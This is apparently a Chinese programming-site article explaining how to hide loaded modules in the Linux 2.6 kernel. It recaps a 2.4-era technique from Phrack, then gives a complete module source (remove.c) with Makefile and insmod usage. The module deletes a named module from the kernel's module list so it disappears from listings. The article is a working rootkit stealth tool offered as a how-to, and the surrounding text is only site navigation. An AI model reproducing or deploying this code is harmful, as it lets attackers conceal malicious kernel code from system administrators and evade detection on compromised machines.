选择显示字体大小

教你怎样隐藏linux 2.6内核模块


  2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03)

  struct module *p;   for (p=&__this_module; p->next; p=p->next)     {       if (strcmp(p->next->name, str))         continue;       p->next=p->next->next; // <-- here it removes that module       break;     } 2.4的module定义为: struct module {   unsigned long size_of_struct; /* == sizeof(module) */   struct module *next;   const char *name;   unsigned long size;   ... } 2.6为: struct module {   enum module_state state;   /* member of list of modules */   struct list_head list; <--- 变成了双向链表   /* unique handle for this module */   char name[module_name_len];   ... } 因此使用标准的内核list系列处理函数(不需要再闭门造车了),2.6版的进程隐藏重写为: /* * filename: remove.c * author: coolq * date: 23:05 2004-9-2 * makefile: * ---------------- cut here ----------------- * obj-m += remove.o * kdir:= /lib/modules/&#36;(shell uname -r)/build * pwd:= &#36;(shell pwd) * default: * &#36;(make) -c &#36;(kdir) subdirs=&#36;(pwd) modules *----------------- cut here ----------------- * compile: * [root@coolq tmp]make * usage: * [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide */ #include <linux/init.h> #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/kernel.h> #include <linux/list.h> #include <linux/string.h> static char *mod_name = "module"; module_param(mod_name, charp, 0); static int remove_init(void) {   struct module *mod_head, *mod_counter;   struct list_head *p;   mod_head = &__this_module;   list_for_each(p, &mod_head->list){     mod_counter = list_entry(p, struct module, list);     if(strcmp(mod_counter->name, mod_name) == 0){       list_del(p);       printk("remove module &#37;s successfully.\n", mod_name);       return 0;     }   }   printk("can't find module &#37;s.\n", mod_name);   return 0; } static void remove_exit(void) { } module_init(remove_init); module_exit(remove_exit); module_license("dual bsd/gpl");


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons